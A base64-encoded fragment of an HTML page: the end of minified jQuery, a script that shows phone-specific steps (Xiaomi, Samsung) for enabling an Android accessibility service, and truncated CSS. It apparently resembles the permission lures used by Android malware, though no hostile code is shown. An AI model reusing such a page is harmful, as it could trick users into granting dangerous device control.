aSl7a1tpXT1mdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gbSh0KSYmKHI9cnx8bixuPXQsdD12b2lkIDApLGsuYWpheChrLmV4dGVuZCh7dXJsOmUsdHlwZTppLGRhdGFUeXBlOnIsZGF0YTp0LHN1Y2Nlc3M6bn0say5pc1BsYWluT2JqZWN0KGUpJiZlKSl9fSksay5fZXZhbFVybD1mdW5jdGlvbihlLHQpe3JldHVybiBrLmFqYXgoe3VybDplLHR5cGU6IkdFVCIsZGF0YVR5cGU6InNjcmlwdCIsY2FjaGU6ITAsYXN5bmM6ITEsZ2xvYmFsOiExLGNvbnZlcnRlcnM6eyJ0ZXh0IHNjcmlwdCI6ZnVuY3Rpb24oKXt9fSxkYXRhRmlsdGVyOmZ1bmN0aW9uKGUpe2suZ2xvYmFsRXZhbChlLHQpfX0pfSxrLmZuLmV4dGVuZCh7d3JhcEFsbDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gdGhpc1swXSYmKG0oZSkmJihlPWUuY2FsbCh0aGlzWzBdKSksdD1rKGUsdGhpc1swXS5vd25lckRvY3VtZW50KS5lcSgwKS5jbG9uZSghMCksdGhpc1swXS5wYXJlbnROb2RlJiZ0Lmluc2VydEJlZm9yZSh0aGlzWzBdKSx0Lm1hcChmdW5jdGlvbigpe3ZhciBlPXRoaXM7d2hpbGUoZS5maXJzdEVsZW1lbnRDaGlsZCllPWUuZmlyc3RFbGVtZW50Q2hpbGQ7cmV0dXJuIGV9KS5hcHBlbmQodGhpcykpLHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihuKXtyZXR1cm4gbShuKT90aGlzLmVhY2goZnVuY3Rpb24oZSl7ayh0aGlzKS53cmFwSW5uZXIobi5jYWxsKHRoaXMsZSkpfSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9ayh0aGlzKSx0PWUuY29udGVudHMoKTt0Lmxlbmd0aD90LndyYXBBbGwobik6ZS5hcHBlbmQobil9KX0sd3JhcDpmdW5jdGlvbih0KXt2YXIgbj1tKHQpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZSl7ayh0aGlzKS53cmFwQWxsKG4/dC5jYWxsKHRoaXMsZSk6dCl9KX0sdW53cmFwOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnBhcmVudChlKS5ub3QoImJvZHkiKS5lYWNoKGZ1bmN0aW9uKCl7ayh0aGlzKS5yZXBsYWNlV2l0aCh0aGlzLmNoaWxkTm9kZXMpfSksdGhpc319KSxrLmV4cHIucHNldWRvcy5oaWRkZW49ZnVuY3Rpb24oZSl7cmV0dXJuIWsuZXhwci5wc2V1ZG9zLnZpc2libGUoZSl9LGsuZXhwci5wc2V1ZG9zLnZpc2libGU9ZnVuY3Rpb24oZSl7cmV0dXJuISEoZS5vZmZzZXRXaWR0aHx8ZS5vZmZzZXRIZWlnaHR8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgpfSxrLmFqYXhTZXR0aW5ncy54aHI9ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIG5ldyBDLlhNTEh0dHBSZXF1ZXN0fWNhdGNoKGUpe319O3ZhciBVdD17MDoyMDAsMTIyMzoyMDR9LFh0PWsuYWpheFNldHRpbmdzLnhocigpO3kuY29ycz0hIVh0JiYid2l0aENyZWRlbnRpYWxzImluIFh0LHkuYWpheD1YdD0hIVh0LGsuYWpheFRyYW5zcG9ydChmdW5jdGlvbihpKXt2YXIgbyxhO2lmKHkuY29yc3x8WHQmJiFpLmNyb3NzRG9tYWluKXJldHVybntzZW5kOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1pLnhocigpO2lmKHIub3BlbihpLnR5cGUsaS51cmwsaS5hc3luYyxpLnVzZXJuYW1lLGkucGFzc3dvcmQpLGkueGhyRmllbGRzKWZvcihuIGluIGkueGhyRmllbGRzKXJbbl09aS54aHJGaWVsZHNbbl07Zm9yKG4gaW4gaS5taW1lVHlwZSYmci5vdmVycmlkZU1pbWVUeXBlJiZyLm92ZXJyaWRlTWltZVR5cGUoaS5taW1lVHlwZSksaS5jcm9zc0RvbWFpbnx8ZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdfHwoZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdPSJYTUxIdHRwUmVxdWVzdCIpLGUpci5zZXRSZXF1ZXN0SGVhZGVyKG4sZVtuXSk7bz1mdW5jdGlvbihlKXtyZXR1cm4gZnVuY3Rpb24oKXtvJiYobz1hPXIub25sb2FkPXIub25lcnJvcj1yLm9uYWJvcnQ9ci5vbnRpbWVvdXQ9ci5vbnJlYWR5c3RhdGVjaGFuZ2U9bnVsbCwiYWJvcnQiPT09ZT9yLmFib3J0KCk6ImVycm9yIj09PWU/Im51bWJlciIhPXR5cGVvZiByLnN0YXR1cz90KDAsImVycm9yIik6dChyLnN0YXR1cyxyLnN0YXR1c1RleHQpOnQoVXRbci5zdGF0dXNdfHxyLnN0YXR1cyxyLnN0YXR1c1RleHQsInRleHQiIT09KHIucmVzcG9uc2VUeXBlfHwidGV4dCIpfHwic3RyaW5nIiE9dHlwZW9mIHIucmVzcG9uc2VUZXh0P3tiaW5hcnk6ci5yZXNwb25zZX06e3RleHQ6ci5yZXNwb25zZVRleHR9LHIuZ2V0QWxsUmVzcG9uc2VIZWFkZXJzKCkpKX19LHIub25sb2FkPW8oKSxhPXIub25lcnJvcj1yLm9udGltZW91dD1vKCJlcnJvciIpLHZvaWQgMCE9PXIub25hYm9ydD9yLm9uYWJvcnQ9YTpyLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PT1yLnJlYWR5U3RhdGUmJkMuc2V0VGltZW91dChmdW5jdGlvbigpe28mJmEoKX0pfSxvPW8oImFib3J0Iik7dHJ5e3Iuc2VuZChpLmhhc0NvbnRlbnQmJmkuZGF0YXx8bnVsbCl9Y2F0Y2goZSl7aWYobyl0aHJvdyBlfX0sYWJvcnQ6ZnVuY3Rpb24oKXtvJiZvKCl9fX0pLGsuYWpheFByZWZpbHRlcihmdW5jdGlvbihlKXtlLmNyb3NzRG9tYWluJiYoZS5jb250ZW50cy5zY3JpcHQ9ITEpfSksay5hamF4U2V0dXAoe2FjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9lY21hc2NyaXB0LCBhcHBsaWNhdGlvbi94LWVjbWFzY3JpcHQifSxjb250ZW50czp7c2NyaXB0Oi9cYig/OmphdmF8ZWNtYSlzY3JpcHRcYi99LGNvbnZlcnRlcnM6eyJ0ZXh0IHNjcmlwdCI6ZnVuY3Rpb24oZSl7cmV0dXJuIGsuZ2xvYmFsRXZhbChlKSxlfX19KSxrLmFqYXhQcmVmaWx0ZXIoInNjcmlwdCIsZnVuY3Rpb24oZSl7dm9pZCAwPT09ZS5jYWNoZSYmKGUuY2FjaGU9ITEpLGUuY3Jvc3NEb21haW4mJihlLnR5cGU9IkdFVCIpfSksay5hamF4VHJhbnNwb3J0KCJzY3JpcHQiLGZ1bmN0aW9uKG4pe3ZhciByLGk7aWYobi5jcm9zc0RvbWFpbnx8bi5zY3JpcHRBdHRycylyZXR1cm57c2VuZDpmdW5jdGlvbihlLHQpe3I9aygiPHNjcmlwdD4iKS5hdHRyKG4uc2NyaXB0QXR0cnN8fHt9KS5wcm9wKHtjaGFyc2V0Om4uc2NyaXB0Q2hhcnNldCxzcmM6bi51cmx9KS5vbigibG9hZCBlcnJvciIsaT1mdW5jdGlvbihlKXtyLnJlbW92ZSgpLGk9bnVsbCxlJiZ0KCJlcnJvciI9PT1lLnR5cGU/NDA0OjIwMCxlLnR5cGUpfSksRS5oZWFkLmFwcGVuZENoaWxkKHJbMF0pfSxhYm9ydDpmdW5jdGlvbigpe2kmJmkoKX19fSk7dmFyIFZ0LEd0PVtdLFl0PS8oPSlcPyg/PSZ8JCl8XD9cPy87ay5hamF4U2V0dXAoe2pzb25wOiJjYWxsYmFjayIsanNvbnBDYWxsYmFjazpmdW5jdGlvbigpe3ZhciBlPUd0LnBvcCgpfHxrLmV4cGFuZG8rIl8iK2t0Kys7cmV0dXJuIHRoaXNbZV09ITAsZX19KSxrLmFqYXhQcmVmaWx0ZXIoImpzb24ganNvbnAiLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT0hMSE9PWUuanNvbnAmJihZdC50ZXN0KGUudXJsKT8idXJsIjoic3RyaW5nIj09dHlwZW9mIGUuZGF0YSYmMD09PShlLmNvbnRlbnRUeXBlfHwiIikuaW5kZXhPZigiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIikmJll0LnRlc3QoZS5kYXRhKSYmImRhdGEiKTtpZihhfHwianNvbnAiPT09ZS5kYXRhVHlwZXNbMF0pcmV0dXJuIHI9ZS5qc29ucENhbGxiYWNrPW0oZS5qc29ucENhbGxiYWNrKT9lLmpzb25wQ2FsbGJhY2soKTplLmpzb25wQ2FsbGJhY2ssYT9lW2FdPWVbYV0ucmVwbGFjZShZdCwiJDEiK3IpOiExIT09ZS5qc29ucCYmKGUudXJsKz0oU3QudGVzdChlLnVybCk/IiYiOiI/IikrZS5qc29ucCsiPSIrciksZS5jb252ZXJ0ZXJzWyJzY3JpcHQganNvbiJdPWZ1bmN0aW9uKCl7cmV0dXJuIG98fGsuZXJyb3IocisiIHdhcyBub3QgY2FsbGVkIiksb1swXX0sZS5kYXRhVHlwZXNbMF09Impzb24iLGk9Q1tyXSxDW3JdPWZ1bmN0aW9uKCl7bz1hcmd1bWVudHN9LG4uYWx3YXlzKGZ1bmN0aW9uKCl7dm9pZCAwPT09aT9rKEMpLnJlbW92ZVByb3Aocik6Q1tyXT1pLGVbcl0mJihlLmpzb25wQ2FsbGJhY2s9dC5qc29ucENhbGxiYWNrLEd0LnB1c2gocikpLG8mJm0oaSkmJmkob1swXSksbz1pPXZvaWQgMH0pLCJzY3JpcHQifSkseS5jcmVhdGVIVE1MRG9jdW1lbnQ9KChWdD1FLmltcGxlbWVudGF0aW9uLmNyZWF0ZUhUTUxEb2N1bWVudCgiIikuYm9keSkuaW5uZXJIVE1MPSI8Zm9ybT48L2Zvcm0+PGZvcm0+PC9mb3JtPiIsMj09PVZ0LmNoaWxkTm9kZXMubGVuZ3RoKSxrLnBhcnNlSFRNTD1mdW5jdGlvbihlLHQsbil7cmV0dXJuInN0cmluZyIhPXR5cGVvZiBlP1tdOigiYm9vbGVhbiI9PXR5cGVvZiB0JiYobj10LHQ9ITEpLHR8fCh5LmNyZWF0ZUhUTUxEb2N1bWVudD8oKHI9KHQ9RS5pbXBsZW1lbnRhdGlvbi5jcmVhdGVIVE1MRG9jdW1lbnQoIiIpKS5jcmVhdGVFbGVtZW50KCJiYXNlIikpLmhyZWY9RS5sb2NhdGlvbi5ocmVmLHQuaGVhZC5hcHBlbmRDaGlsZChyKSk6dD1FKSxvPSFuJiZbXSwoaT1ELmV4ZWMoZSkpP1t0LmNyZWF0ZUVsZW1lbnQoaVsxXSldOihpPXdlKFtlXSx0LG8pLG8mJm8ubGVuZ3RoJiZrKG8pLnJlbW92ZSgpLGsubWVyZ2UoW10saS5jaGlsZE5vZGVzKSkpO3ZhciByLGksb30say5mbi5sb2FkPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT10aGlzLHM9ZS5pbmRleE9mKCIgIik7cmV0dXJuLTE8cyYmKHI9bXQoZS5zbGljZShzKSksZT1lLnNsaWNlKDAscykpLG0odCk/KG49dCx0PXZvaWQgMCk6dCYmIm9iamVjdCI9PXR5cGVvZiB0JiYoaT0iUE9TVCIpLDA8YS5sZW5ndGgmJmsuYWpheCh7dXJsOmUsdHlwZTppfHwiR0VUIixkYXRhVHlwZToiaHRtbCIsZGF0YTp0fSkuZG9uZShmdW5jdGlvbihlKXtvPWFyZ3VtZW50cyxhLmh0bWwocj9rKCI8ZGl2PiIpLmFwcGVuZChrLnBhcnNlSFRNTChlKSkuZmluZChyKTplKX0pLmFsd2F5cyhuJiZmdW5jdGlvbihlLHQpe2EuZWFjaChmdW5jdGlvbigpe24uYXBwbHkodGhpcyxvfHxbZS5yZXNwb25zZVRleHQsdCxlXSl9KX0pLHRoaXN9LGsuZWFjaChbImFqYXhTdGFydCIsImFqYXhTdG9wIiwiYWpheENvbXBsZXRlIiwiYWpheEVycm9yIiwiYWpheFN1Y2Nlc3MiLCJhamF4U2VuZCJdLGZ1bmN0aW9uKGUsdCl7ay5mblt0XT1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5vbih0LGUpfX0pLGsuZXhwci5wc2V1ZG9zLmFuaW1hdGVkPWZ1bmN0aW9uKHQpe3JldHVybiBrLmdyZXAoay50aW1lcnMsZnVuY3Rpb24oZSl7cmV0dXJuIHQ9PT1lLmVsZW19KS5sZW5ndGh9LGsub2Zmc2V0PXtzZXRPZmZzZXQ6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhLHMsdSxsPWsuY3NzKGUsInBvc2l0aW9uIiksYz1rKGUpLGY9e307InN0YXRpYyI9PT1sJiYoZS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxzPWMub2Zmc2V0KCksbz1rLmNzcyhlLCJ0b3AiKSx1PWsuY3NzKGUsImxlZnQiKSwoImFic29sdXRlIj09PWx8fCJmaXhlZCI9PT1sKSYmLTE8KG8rdSkuaW5kZXhPZigiYXV0byIpPyhhPShyPWMucG9zaXRpb24oKSkudG9wLGk9ci5sZWZ0KTooYT1wYXJzZUZsb2F0KG8pfHwwLGk9cGFyc2VGbG9hdCh1KXx8MCksbSh0KSYmKHQ9dC5jYWxsKGUsbixrLmV4dGVuZCh7fSxzKSkpLG51bGwhPXQudG9wJiYoZi50b3A9dC50b3Atcy50b3ArYSksbnVsbCE9dC5sZWZ0JiYoZi5sZWZ0PXQubGVmdC1zLmxlZnQraSksInVzaW5nImluIHQ/dC51c2luZy5jYWxsKGUsZik6Yy5jc3MoZil9fSxrLmZuLmV4dGVuZCh7b2Zmc2V0OmZ1bmN0aW9uKHQpe2lmKGFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIHZvaWQgMD09PXQ/dGhpczp0aGlzLmVhY2goZnVuY3Rpb24oZSl7ay5vZmZzZXQuc2V0T2Zmc2V0KHRoaXMsdCxlKX0pO3ZhciBlLG4scj10aGlzWzBdO3JldHVybiByP3IuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGg/KGU9ci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSxuPXIub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldyx7dG9wOmUudG9wK24ucGFnZVlPZmZzZXQsbGVmdDplLmxlZnQrbi5wYWdlWE9mZnNldH0pOnt0b3A6MCxsZWZ0OjB9OnZvaWQgMH0scG9zaXRpb246ZnVuY3Rpb24oKXtpZih0aGlzWzBdKXt2YXIgZSx0LG4scj10aGlzWzBdLGk9e3RvcDowLGxlZnQ6MH07aWYoImZpeGVkIj09PWsuY3NzKHIsInBvc2l0aW9uIikpdD1yLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO2Vsc2V7dD10aGlzLm9mZnNldCgpLG49ci5vd25lckRvY3VtZW50LGU9ci5vZmZzZXRQYXJlbnR8fG4uZG9jdW1lbnRFbGVtZW50O3doaWxlKGUmJihlPT09bi5ib2R5fHxlPT09bi5kb2N1bWVudEVsZW1lbnQpJiYic3RhdGljIj09PWsuY3NzKGUsInBvc2l0aW9uIikpZT1lLnBhcmVudE5vZGU7ZSYmZSE9PXImJjE9PT1lLm5vZGVUeXBlJiYoKGk9ayhlKS5vZmZzZXQoKSkudG9wKz1rLmNzcyhlLCJib3JkZXJUb3BXaWR0aCIsITApLGkubGVmdCs9ay5jc3MoZSwiYm9yZGVyTGVmdFdpZHRoIiwhMCkpfXJldHVybnt0b3A6dC50b3AtaS50b3Atay5jc3MociwibWFyZ2luVG9wIiwhMCksbGVmdDp0LmxlZnQtaS5sZWZ0LWsuY3NzKHIsIm1hcmdpbkxlZnQiLCEwKX19fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9mZnNldFBhcmVudDt3aGlsZShlJiYic3RhdGljIj09PWsuY3NzKGUsInBvc2l0aW9uIikpZT1lLm9mZnNldFBhcmVudDtyZXR1cm4gZXx8aWV9KX19KSxrLmVhY2goe3Njcm9sbExlZnQ6InBhZ2VYT2Zmc2V0IixzY3JvbGxUb3A6InBhZ2VZT2Zmc2V0In0sZnVuY3Rpb24odCxpKXt2YXIgbz0icGFnZVlPZmZzZXQiPT09aTtrLmZuW3RdPWZ1bmN0aW9uKGUpe3JldHVybiBfKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByO2lmKHgoZSk/cj1lOjk9PT1lLm5vZGVUeXBlJiYocj1lLmRlZmF1bHRWaWV3KSx2b2lkIDA9PT1uKXJldHVybiByP3JbaV06ZVt0XTtyP3Iuc2Nyb2xsVG8obz9yLnBhZ2VYT2Zmc2V0Om4sbz9uOnIucGFnZVlPZmZzZXQpOmVbdF09bn0sdCxlLGFyZ3VtZW50cy5sZW5ndGgpfX0pLGsuZWFjaChbInRvcCIsImxlZnQiXSxmdW5jdGlvbihlLG4pe2suY3NzSG9va3Nbbl09emUoeS5waXhlbFBvc2l0aW9uLGZ1bmN0aW9uKGUsdCl7aWYodClyZXR1cm4gdD1fZShlLG4pLCRlLnRlc3QodCk/ayhlKS5wb3NpdGlvbigpW25dKyJweCI6dH0pfSksay5lYWNoKHtIZWlnaHQ6ImhlaWdodCIsV2lkdGg6IndpZHRoIn0sZnVuY3Rpb24oYSxzKXtrLmVhY2goe3BhZGRpbmc6ImlubmVyIithLGNvbnRlbnQ6cywiIjoib3V0ZXIiK2F9LGZ1bmN0aW9uKHIsbyl7ay5mbltvXT1mdW5jdGlvbihlLHQpe3ZhciBuPWFyZ3VtZW50cy5sZW5ndGgmJihyfHwiYm9vbGVhbiIhPXR5cGVvZiBlKSxpPXJ8fCghMD09PWV8fCEwPT09dD8ibWFyZ2luIjoiYm9yZGVyIik7cmV0dXJuIF8odGhpcyxmdW5jdGlvbihlLHQsbil7dmFyIHI7cmV0dXJuIHgoZSk/MD09PW8uaW5kZXhPZigib3V0ZXIiKT9lWyJpbm5lciIrYV06ZS5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnRbImNsaWVudCIrYV06OT09PWUubm9kZVR5cGU/KHI9ZS5kb2N1bWVudEVsZW1lbnQsTWF0aC5tYXgoZS5ib2R5WyJzY3JvbGwiK2FdLHJbInNjcm9sbCIrYV0sZS5ib2R5WyJvZmZzZXQiK2FdLHJbIm9mZnNldCIrYV0sclsiY2xpZW50IithXSkpOnZvaWQgMD09PW4/ay5jc3MoZSx0LGkpOmsuc3R5bGUoZSx0LG4saSl9LHMsbj9lOnZvaWQgMCxuKX19KX0pLGsuZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IHJlc2l6ZSBzY3JvbGwgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihlLG4pe2suZm5bbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gMDxhcmd1bWVudHMubGVuZ3RoP3RoaXMub24obixudWxsLGUsdCk6dGhpcy50cmlnZ2VyKG4pfX0pLGsuZm4uZXh0ZW5kKHtob3ZlcjpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLm1vdXNlZW50ZXIoZSkubW91c2VsZWF2ZSh0fHxlKX19KSxrLmZuLmV4dGVuZCh7YmluZDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIHRoaXMub24oZSxudWxsLHQsbil9LHVuYmluZDpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLm9mZihlLG51bGwsdCl9LGRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLm9uKHQsZSxuLHIpfSx1bmRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vZmYoZSwiKioiKTp0aGlzLm9mZih0LGV8fCIqKiIsbil9fSksay5wcm94eT1mdW5jdGlvbihlLHQpe3ZhciBuLHIsaTtpZigic3RyaW5nIj09dHlwZW9mIHQmJihuPWVbdF0sdD1lLGU9biksbShlKSlyZXR1cm4gcj1zLmNhbGwoYXJndW1lbnRzLDIpLChpPWZ1bmN0aW9uKCl7cmV0dXJuIGUuYXBwbHkodHx8dGhpcyxyLmNvbmNhdChzLmNhbGwoYXJndW1lbnRzKSkpfSkuZ3VpZD1lLmd1aWQ9ZS5ndWlkfHxrLmd1aWQrKyxpfSxrLmhvbGRSZWFkeT1mdW5jdGlvbihlKXtlP2sucmVhZHlXYWl0Kys6ay5yZWFkeSghMCl9LGsuaXNBcnJheT1BcnJheS5pc0FycmF5LGsucGFyc2VKU09OPUpTT04ucGFyc2Usay5ub2RlTmFtZT1BLGsuaXNGdW5jdGlvbj1tLGsuaXNXaW5kb3c9eCxrLmNhbWVsQ2FzZT1WLGsudHlwZT13LGsubm93PURhdGUubm93LGsuaXNOdW1lcmljPWZ1bmN0aW9uKGUpe3ZhciB0PWsudHlwZShlKTtyZXR1cm4oIm51bWJlciI9PT10fHwic3RyaW5nIj09PXQpJiYhaXNOYU4oZS1wYXJzZUZsb2F0KGUpKX0sImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZCYmZGVmaW5lKCJqcXVlcnkiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIGt9KTt2YXIgUXQ9Qy5qUXVlcnksSnQ9Qy4kO3JldHVybiBrLm5vQ29uZmxpY3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIEMuJD09PWsmJihDLiQ9SnQpLGUmJkMualF1ZXJ5PT09ayYmKEMualF1ZXJ5PVF0KSxrfSxlfHwoQy5qUXVlcnk9Qy4kPWspLGt9KTs8L3NjcmlwdD4NCjxzY3JpcHQ+DQoNCiQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7DQoJJCgnI3RfZW5hYmxlQWNzYlNlcnZpY2UnKS5odG1sKGVuYWJsZUFjc2JTZXJ2aWNlKQ0KCQ0KCWlmKGlzX3hpYW9taSkgDQoJCSQoJyN0X29wZW5Eb3dubG9hZGVkU2VydmljZXMnKS5odG1sKG9wZW5Eb3dubG9hZGVkU2VydmljZXMpDQoJZWxzZQ0KCQkkKCcjdF9vcGVuRG93bmxvYWRlZFNlcnZpY2VzJykuaGlkZSgpDQoJCQ0KCWlmKGlzX3NhbXN1bmcpDQoJCSQoJyN0X29wZW5JbnN0YWxsZWRTZXJ2aWNlcycpLmh0bWwob3Blbkluc3RhbGxlZFNlcnZpY2VzKQ0KCWVsc2UNCgkJJCgnI3Rfb3Blbkluc3RhbGxlZFNlcnZpY2VzJykuaGlkZSgpDQoJDQoJJCgnI3RfZmluZEFwcDEnKS5odG1sKGZpbmRBcHApDQoJJCgnI3RfZmluZEFwcDInKS5odG1sKGZpbmRBcHApDQoJJCgnI3Rfc2V0U3dpdGNoT24nKS5odG1sKHNldFN3aXRjaE9uKQ0KCSQoJyN0X29wZW5TZXR0aW5ncycpLmh0bWwob3BlblNldHRpbmdzKQ0KfSkNCg0KPC9zY3JpcHQ+DQoNCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9ImllPWVkZ2UiPg0KPHN0eWxlPg0KaHRtbHtsaW5lLWhlaWdodDoxLjE1Oy13ZWJraXQtdGV4dC1zaXplLWFkanVzdDoxMDAlfWJvZHl7bWFyZ2luOjB9bWFpbntkaXNwbGF5OmJsb2NrfWgxe2ZvbnQtc2l6ZToyZW07bWFyZ2luOi42N2VtIDB9aHJ7Ym94LXNpemluZzpjb250ZW50LWJveDtoZWlnaHQ6MDtvdmVyZmxvdzp2aXNpYmxlfXByZXtmb250LWZhbWlseTptb25vc3BhY2UsbW9ub3NwYWNlO2ZvbnQtc2l6ZToxZW19YXtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fWFiYnJbdGl0bGVde2JvcmRlci1ib3R0b206bm9uZTt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmUgZG90dGVkfWIsc3Ryb25ne2ZvbnQtd2VpZ2h0OmJvbGRlcn1jb2RlLGtiZCxzYW1we2ZvbnQtZmFtaWx5Om1vbm9zcGFjZSxtb25vc3BhY2U7Zm9udC1zaXplOjFlbX1zbWFsbHtmb250LXNpemU6ODAlfXN1YixzdXB7Zm9udC1zaXplOjc1JTtsaW5lLWhlaWdodDowO3Bvc2l0aW9uOnJlbGF0aXZlO3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lfXN1Yntib3R0b206LS4yNWVtfXN1cHt0b3A6LS41ZW19aW1ne2JvcmRlci1zdHlsZTpub25lfWJ1dHRvbixpbnB1dCxvcHRncm91cCxzZWxlY3QsdGV4dGFyZWF7Zm9udC1mYW1pbHk6aW5oZXJpdDtmb250LXNpemU6MTAwJTtsaW5lLWhlaWdodDoxLjE1O21hcmdpbjowfWJ1dHRvbixpbnB1dHtvdmVyZmxvdzp2aXNpYmxlfWJ1dHRvbixzZWxlY3R7dGV4dC10cmFuc2Zvcm06bm9uZX1idXR0b24sW3R5cGU9ImJ1dHRvbiJdLFt0eXBlPSJyZXNldCJdLFt0eXBlPSJzdWJtaXQiXXstd2Via2l0LWFwcGVhcmFuY2U6YnV0dG9ufWJ1dHRvbjo6LW1vei1mb2N1cy1pbm5lcixbdHlwZT0iYnV0dG9uIl06Oi1tb3otZm9jdXMtaW5uZXIsW3R5cGU9InJlc2V0Il06Oi1tb3otZm9jdXMtaW5uZXIsW3R5cGU9InN1Ym1pdCJdOjotbW96LWZvY3VzLWlubmVye2JvcmRlci1zdHlsZTpub25lO3BhZGRpbmc6MH1idXR0b246LW1vei1mb2N1c3JpbmcsW3R5cGU9ImJ1dHRvbiJdOi1tb3otZm9jdXNyaW5nLFt0eXBlPSJyZXNldCJdOi1tb3otZm9jdXNyaW5nLFt0eXBlPSJzdWJtaXQiXTotbW96LWZvY3VzcmluZ3tvdXRsaW5lOjFweCBkb3R0ZWQgQnV0dG9uVGV4dH1maWVsZHNldHtwYWRkaW5nOi4zNWVtIC43NWVtIC42MjVlbX1sZWdlbmR7Ym94LXNpemluZzpib3JkZXItYm94O2NvbG9yOmluaGVyaXQ7ZGlzcGxheTp0YWJsZTttYXgtd2lkdGg6MTAwJTtwYWRkaW5nOjA7d2hpdGUtc3BhY2U6bm9ybWFsfXByb2dyZXNze3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lfXRleHRhcmVhe292ZXJmbG93OmF1dG99W3R5cGU9ImNoZWNrYm94Il0sW3R5cGU9InJhZGlvIl17Ym94LXNpemluZzpib3JkZXItYm94O3BhZGRpbmc6MH1bdHlwZT0ibnVtYmVyIl06Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24sW3R5cGU9Im51bWJlciJdOjotd2Via2l0LW91dGVyLXNwaW4tYnV0dG9ue2hlaWdodDphdXRvfVt0eXBlPSJzZWFyY2giXXstd2Via2l0LWFwcGVhcmFuY2U6dGV4dGZpZWxkO291dGxpbmUtb2Zmc2V0Oi0ycHh9W3R5cGU9InNlYXJjaCJdOjotd2Via2l0LXNlYXJjaC1kZWNvcmF0aW9uey13ZWJraXQtYXBwZWFyYW5jZTpub25lfTo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257LXdlYmtpdC1hcHBlYXJhbmNlOmJ1dHRvbjtmb250OmluaGVyaXR9ZGV0YWlsc3tkaXNwbGF5OmJsb2NrfXN1bW1hcnl7ZGlzcGxheTpsaXN0LWl0ZW19dGVtcGxhdGV7ZGlzcGxheTpub25lfVtoaWRkZW5de2Rpc3BsYXk6bm9uZX1odG1sLGJvZHl7Zm9udC1mYW1pbHk6Ik9wZW4gU2FucyIsIkhlbHZldGljYSBOZXVlIixIZWx2ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjttYXJnaW46MDtoZWlnaHQ6MTAwJTtvdmVyZmxvdzpoaWRkZW59LmhlYWRlcntoZWlnaHQ6NjVweDtib3JkZXItYm90dG9tOjNweCBzb2xpZCAjZTJlMmUyfS5oZWFkZXIgYntsaW5lLWhlaWdodDo2NXB4O2ZvbnQtc2l6ZToxLjVyZW19LmhzcHtiYWNrZ3JvdW5kLWNvbG9yOiNmNGY0ZjQ7Y29sb3I6IzQ2NDY0NjtoZWlnaHQ6MzRweDtsaW5lLWhlaWdodDozNHB4O3BhZGRpbmctdG9wOjVweH0uaHNwIGJ7bWFyZ2luLWxlZnQ6MTVweH0uZWxze2xpbmUtaGVpZ2h0